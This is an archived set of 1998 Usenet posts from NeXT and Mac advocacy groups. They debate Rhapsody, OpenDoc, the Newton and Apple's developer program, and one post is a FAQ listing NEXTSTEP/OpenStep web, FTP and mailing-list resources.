From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 03:54:55 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2808560410480001@1cust238.tnt8.krk1.da.uu.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <354285FB.35212A1F@ccnet.com>
In article <354285FB.35212A1F@ccnet.com>, avery@ccnet.com wrote:
| Joe Ragosta wrote:
|
| > In article <3541A0F8.310E450@nkn.net>, rkirkmcp@nkn.net wrote:
| >
| > I think he was referring to the rumored "eMac"--which would run some sort
| > of Mac OS lite. If this beast even exists, it would be the next family of
| > Newton products.
| >
|
| Why would it have to be "lite"? I mean, why not just have them run
System 6 or one
| of the older MacOS versions?
| The original Macs ran on 128k of RAM for goodness' sake; MacOS has
evolved from
| that point. We don't have any need of making a "CE" version of MacOS.
System 6 had little (if any) color support.
I don't think this will be some "CE" trash. Anything that is Apple vs.
Microsoft, Apple usually makes more pleasing technologies. And Microsoft
has a history of doing things that are the opposite of what Apple does.
As I remember, the lite is just to indicate that the real full-blown stuff
isn't ready yet. But Apple is working hard to churn out Rhapsody and
future MacOS versions. Dont worry, everything will work out, I am sure.
(Funny, I keep telling myself that same exact thing...)
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <23877892958423@digifix.com>
Date: 26 Apr 1998 03:50:15 GMT
Organization: Digital Fix Development
Message-ID: <13743893563222@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
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_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: root@zippy.sonoma.edu (Thomas Poff)
Newsgroups: comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: The Newton
Followup-To: comp.sys.next.advocacy,comp.sys.newton.misc
Date: 26 Apr 1998 05:07:37 GMT
Organization: CSUnet
Message-ID: <6hufep$qu0$1@hades.csu.net>
References: <slrn6jdm7b.3u2.sal@panix3.panix.com> <B15C60A6-226FF@206.165.43.169> <3536F06A.D23EA427@ix.netcom.com> <slrn6jk5no.rln.sal@panix3.panix.com>
'twould be be great to see them build a $200 Openstep-enabled device with
web, email and Openstep framework subset built in via a gate-level
implementation. Without question it could be done if you pulled
all of the tricks out of the bag [i.e. a weenie processor, display, some
memory and a 500,000 gate ASIC packed with framework implementation].
A topic of constant wonder for me... since YellowBox is more ripe for
the plucking than any Java framework out there.
You could call such a chipset a Newton or anything else you wanted to.
Or for the marketing impaired a 'Mac Toolbox on steroidz.' The big
win would be that compared to 'wince' it's infinitely
cheap, infinitely licensable and not currently replicatable by uSoft or
any of it's partners.
Thomas
Salvatore Denaro (sal@panix3.panix.com) wrote:
: On Fri, 17 Apr 1998 06:02:25 +0000, Thom McDonald <t.a.mcd@ix.netcom.com> wrote:
: >Newton isn't entirely dead.
: The name, the OS and the product line are all dead.
: >It should be fairly obvious that Apple wants to retain Newton technologies for
: >incorporating into a 'Lite' Mac OS which will be a Newton/PalmPilot/Windows
: >CE-like platform. The good things about Newton, like touch-screen operation
: >and hand-writing recognition will make nice additions to Mac OS.
: It won't be a Newton.
: >Of course this wouldn't be a totally public stance because if they got a
: >really big offer, maybe they wouldn't want to turn it down.
: I don't think they could sell it even if they wanted. It's not like there
: is a folder called "Newton Technologies" that they can just drag to
: a floppy and sell. Much of what was "Newton" is now gone. They can't even
: fix an ongoing OS bug (the -10016 error)
: --
: sal@panix.com Salvatore Denaro
: "The reality of the software business today is that if you find
: something that can make you ridiculously rich, then that's something
: that Microsoft is going to take away from you." -- Max Metral
--
<>+<> ////// __v__ __\/__
`\|||/ /---\ """"""" | _ - | (_____) . / ^ _ \ .
(q p) | o o | <^-@-@-^> (| o O |) .( O O ), |\| (o)(o) |/|
_ooO_<_>_Ooo_ooO_U_Ooo_ooO__v__Ooo_ooO_u_Ooo_ooO__(_)__Ooa__oOO_()_OOo___
[_____}_____!____.}_____{_____|_____}_____i____.}_____!_____{_____}_____]
__.}____.|_____{_____!____.}_____|_____{.____}_____|_____}_____|_____!___
[_____{_____}_____|_____}_____i_____}_____|_____}_____i_____{_____}_____]
Message-ID: <3542854F.7341@hotmail.com>
From: Clark Cox <coxware@hotmail.com>
Organization: Coxware Software
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.,programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program - from 12-year-old's perspective
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<B1511189-1AF6A@206.165.43.154><6ggkg1$90k$1@news0-alterdial.uu.net>
<SCOTT.98Apr8221520@slave.doubleu.com> <6htoch$a3c$1@nnrp4.snfc21.pbi.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 26 Apr 1998 00:56:39 GMT
NNTP-Posting-Date: Sat, 25 Apr 1998 20:56:39 EST
Aaron Lehmann wrote:
>
> I have a different perspective from which I view Apple's developer program -
> from mine, a 12 year old's.
>
> I am extremely enthusiastic about Rhapsody. It was my hope to join the Apple
> developer program and begin working on Rhapsody applications immediately.
> Now I cannot afford the cost of the developer program, and there is no way I
> can legally get my hands on a copy of Rhapsody before the first public
> release. This is effectively forcing me to delay my start. The same goes for
> my 14-year old friend. It will be a loss for both Apple and me. I suppose
> that a few neat shareware apps wouldn't really matter much to Apple, but
> look, a new operating system is comming out and to suceed it needs
> applications initially:
>
> Applications = Developers = Can they get their hands on Rhapsody?
>
> Now, Apple could have made money off of me if they had kept their prices
> down to a resonable level where I could afford it. I think what Apple has to
> do is get as many developers as possible so they can have applications ready
> when Rhapsody is released. Sending out CD's for low prices would pay off,
> because more applications would be available when it ships. Apple should be
> actively persuading developers to write for Rhapsody, but how can they if
> some developers cannot even afford to because of them?
>
> I have heard that there is an academic developer program. Is there any way
> that a middle school student might be able to join?
The price isn't really the limiting factor in this equasion, I'm sorry
to say, but you must be 18 to be in any of Apple's developer programs.
--
Clark S. Cox, III | ClarkCox3@hotmail.com
Coxware Software | Coxware@hotmail.com
"The only stupid question is the one not asked" --Unknown
e-mail harvester traps:
Chairman Reed Hundt: rhundt@fcc.gov
Commissioner James Quello: jquello@fcc.gov
Commissioner Susan Ness: sness@fcc.gov
Commissioner Rachelle Chong: rchong@fcc.gov
president@whitehouse.gov mwa234@hotmail.com
bestrealtor@marketingmaster.com bstar@sssnet.com
info@herbchew.com yyyr4t7@biblioteca.com
clickthru@timefreedom.com nantragod@earthlink.net
invite@onlinenow.net hdn94-018.hil.compuserve.com
zippydj@nevwest.com haniophile@ntr.net
Offer@shire.com inetmktg@usa.net
empower@empowerlabs.com info@dproducts.be
dynamarket@vaprnet.com promotions@the-bookstore.com
root@mail.icongrp.com healthy181@aol.com
cashrewards@hotmail.com Success@paper.com
tei@websecure.net bb77@wyoma.com
removeadultinf
From: markm3@nospam.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Sat, 25 Apr 1998 23:54:52 -0500
Organization: United States Internet, Inc.
Message-ID: <markm3-2504982354520001@205.241.204.173>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com> <6hr05o$7dn$1@xmission.xmission.com> <6hrmu2$gd5$3@newsfep4.sprintmail.com> <6hrnvk$2mv$1@flotsam.uits.indiana.edu> <6hrv1g$cq8$2@newsfep2.sprintmail.com>
In article <6hrv1g$cq8$2@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> In <6hrnvk$2mv$1@flotsam.uits.indiana.edu> Gregory Loren Hansen wrote:
> I laugh every time I hear the radio shack commercial for compaqs. I t is so
> fricking funny.
> The one where the guys second question was "where do the cd's go" and
> comments how
> they have that nifty cup holder, you know that thing where you push the
> button and the cup holder comes out ;)
>
>
That must be the Radio Shack one that they mention the ease of getting on
the internet by pushing a button on the keyboard, I guess its too hard for
them to click on that big ass globe icon on the desktop.
I wonder if once they get to the default homepage if they ever manage to
get to any other sites,maybe they should go ahead and put back,foreward
stop and refresh as buttons on the keyboard.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 05:27:08 GMT
Organization: Idiom Communications
Message-ID: <6hugjc$hbh$1@news.idiom.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34>
<joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: kris@xmission.xmission.com
Kristofer Jon Magnusson may or may not have said:
-> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
->
-> : The number of developers who have embraced Rhapsody is many times the
-> : number who ever embraced OpenDoc. Yet Rhapsody hasn't even been released
-> : yet and OpenDoc was out for years.
->
-> Apple had convinced several big guns to partner with them on OpenDoc.
-> There were real products being built with OpenDoc at Lotus, Novell, and
-> WordPerfect.
->
-> Rhapsody currently has the support of exactly zero first-tier
-> industry partners.
Which has a lot to do with why I'm so enthusiastic about Rhapsody.
Taligent was an IBM-Apple-HP circle jerk which wasn't worth shipping.
Kaleida was an IBM-Apple initiative which came up with a very cool product,
but which got wrecked in the crossfire when Taligent fell apart.
CHRP was an IBM-Apple-Motorola circle jerk which got killed for stupid
political reasons.
For my part, I'll stay *far* away from products that depend on the
cooperation of several billion-dollar companies.
-jcr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 26 Apr 1998 00:32:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16830DA-56FD9@206.165.43.167>
References: <see-below-2504982117550001@209.24.240.182>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Matthew Vaughan <see-below@not-my-address.com> said:
> > I thought that their AUX line of servers did all that, and really well.
Was
> > I wrong?
>
>
> Hmm. Are you thinking of their AIX servers? In that case, it was IBM's
> operating system, not Apple's. But I don't know, perhaps AUX had some
such
> support as well.
AIX, then. I was talking about hardware, as was he (hot plugging, etc).
Apple's high-end servers were pretty darned cool, from what I saw.
Everything was on multiple hot-pluggable trays (ala the all-in-one PowerMac
motherboard trays) that could be slid out and slid in whilest operating, or
so the video I saw seemed to be saying.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 00:13:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1682C7D-46987@206.165.43.167>
References: <hi-2808560410480001@1cust238.tnt8.krk1.da.uu.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> said:
> | that point. We don't have any need of making a "CE" version of MacOS.
>
> System 6 had little (if any) color support.
?????
256 color support came out with the Mac II's in 1987 (6?).
System 1.0 had 8-color support, although you couldn't see it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 00:13:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1682C83-46AE0@206.165.43.167>
References: <hi-2808560410480001@1cust238.tnt8.krk1.da.uu.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> said:
> | that point. We don't have any need of making a "CE" version of MacOS.
>
> System 6 had little (if any) color support.
?????
256 color support came out with the Mac II's in 1987 (6?).
System 1.0 had 8-color support, although you couldn't see it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 00:18:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1682DB8-4B386@206.165.43.167>
References: <6hu2fp$sve$1@xmission.xmission.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Kristofer Jon Magnusson <kris@xmission.xmission.com> said:
> Apple had convinced several big guns to partner with them on OpenDoc.
> There were real products being built with OpenDoc at Lotus, Novell, and
> WordPerfect.
>
Let's not forget that Netscape committed publicly to OpenDoc and that
Claris demoed a version of CW 5.0 using OpenDoc and that Nissus still ships
with OpenDoc support. They were supposed to ship "GXMagic," a suite of
OpenDoc parts that uses GX for DTP layout by now. MacWeek had an article
about it a month or two ago. Anyone know what happened to it? OpenDoc and
GX are supposed to be a big part of Nissus' presence in Japan.
> Rhapsody currently has the support of exactly zero first-tier
> industry partners.
Adobe even officially backed off from it. I'm still waiting for someone to
cite a URL where they have recently endorsed it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 00:19:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1682DE8-4BEBC@206.165.43.167>
References: <joe.ragosta-2504982243370001@elk39.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
> And your point is?
>
> If Lotus, Novell, and IBm are going to drop the ball they way they did on
> OpenDoc, who needs them?
>
Apple?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Sun, 26 Apr 1998 07:36:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2604980736310001@elk52.dol.net>
References: <joe.ragosta-2504982243370001@elk39.dol.net> <B1682DE8-4BEBC@206.165.43.167>
In article <B1682DE8-4BEBC@206.165.43.167>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> > And your point is?
> >
> > If Lotus, Novell, and IBm are going to drop the ball they way they did on
> > OpenDoc, who needs them?
> >
>
>
>
> Apple?
Nope.
Apple clearly needs partners who _do_ something. NOT partners who say
they'll do something, then sit on their hands until they can quietly drop
the project years later.
Exactly how much good did IBM do for Apple on OpenDoc? They talked about
it for years, played around with some beta code, but never finished it.
How much good did IBM do on CHRP? They even finished OS/2 for PPC, then
didn't do anything with it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
parts.
> Claris demoed a version of CW 5.0 using OpenDoc and that Nissus still ships
> with OpenDoc support. They were supposed to ship "GXMagic," a suite of
> OpenDoc parts that uses GX for DTP layout by now. MacWeek had an article
> about it a month or two ago. Anyone know what happened to it? OpenDoc and
> GX are supposed to be a big part of Nissus' presence in Japan.
Again, lots of people talked about it. OpenDoc was out for years and no
major commercial vendors (which seems to be the standard you and Kris are
using) ever adopted it.
>
>
> > Rhapsody currently has the support of exactly zero first-tier
> > industry partners.
>
>
>
> Adobe even officially backed off from it. I'm still waiting for someone to
> cite a URL where they have recently endorsed it.
So what???
Photoshop will run at least as well on Rhapsody as on native MacOS. What
does Adobe need to do to support it?
Of course, if they choose to let YB app vendors pass them by ignoring YB
development, that's their choice.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: jmcvay@lynn.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: is allegro going to be optimized for the G3?
Date: Sun, 26 Apr 1998 06:56:49 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6hv7e1$tq4$1@nnrp1.dejanews.com>
i've seen the noticable difference between in the
performance of virtual PC 2.0 in on G3 and non-G3
powerPC chips. the G3-optimized virtualPC 2.0 screams
on a G3. so, if apple did the same for allegro, what do
you guys think would be the speed improvement on G3
machines? how much work would it take to optimize it
for the G3 (is it just a checkbox option in the
compiler?)?
jason
please reply via e-mail. . .
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 26 Apr 1998 12:01:22 GMT
Organization: P & L Systems
Message-ID: <6hv7mi$bll$5@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
<6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
<6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk>
<6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk>
<slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu>
<SnowSim-2504980936150001@blv-ux100-ip34.nwnexus.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: SnowSim@halcyon.com
In <SnowSim-2504980936150001@blv-ux100-ip34.nwnexus.net> Simulated Snow
wrote:
> In article <3540A8F9.3D04B398@cs.purdue.edu>, Ivan Tkatchev
> <tkatchev@cs.purdue.edu> wrote:
> > Perl.. Ughh, barf...
>
[...]
> damn site better language than C++ will ever come close to
>
> just not for the sheep I suppose...
>
> TAMTOWTDI
>
Hmm, "There's apparently more than one way to spell it" too. :-)
Best wishes,
mmalc.
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: Sun, 26 Apr 1998 08:44:34 -0500
Organization: Jump Point Communications, Inc.
Message-ID: <tim-2604980844350001@jump-k56flex-0032.jumpnet.com>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com>
In article <6hv7e1$tq4$1@nnrp1.dejanews.com>, jmcvay@lynn.edu wrote:
| i've seen the noticable difference between in the
| performance of virtual PC 2.0 in on G3 and non-G3
| powerPC chips. the G3-optimized virtualPC 2.0 screams
| on a G3.
This is because the G3 was designed for this kind of code, not the other
way around. In my experience, scheduling code for a particular processor
rarely results in a measureable improvement, except for a few tight inner
loops.
--
-- Tim Olson
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca>
Subject: Re: first post
Date: Sun, 26 Apr 1998 10:27:37 -0400
Message-ID: <35433ec7.0@news.together.net>
Organization: Together Networks - Burlington, VT.
G_o_M_a_c Nicolas Krinis > wrote in message
<6htbcc$kl9$2@garnet.nbnet.nb.ca>...
>
>----------
>In article <353fd1c6.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
>wrote:
>
>
>>Tom Elam wrote in message <353fa39d.26354803@news.newsguy.com>...
>>>On 23 Apr 1998 15:54:42 GMT, macghod@concentric.net wrote:
>>>
>>>>Wooo hooo! My first posting under Openstep! I would like to thank all
>>those
>>>>who helped me get OPENSTEP PPP working. You know who you are :)
>>>
>>>Congratulations! It took all of 5 minutes for me to get Win 95 PPP set
>up,
>>>connected to my ISP and make my first post. (:
>>>
>>>
>>..
>>I knew this would come up sooner or later so, from an unopened letter from
>a
>>new ISP to a full connect (IP, DNS, etc) on my WINNT 4.0 Box:
>>4 minutes.
>>..
>>..
>>
>>
>
>What? 5 min. to config W95 for internet access? More like 20 minutes, even
>if you know what you're doing:
>There are a total of 6 steps to configurefrom the Dial-up adaptor , through
>windows logon.......Gateway to Wins config.......through the bindings all
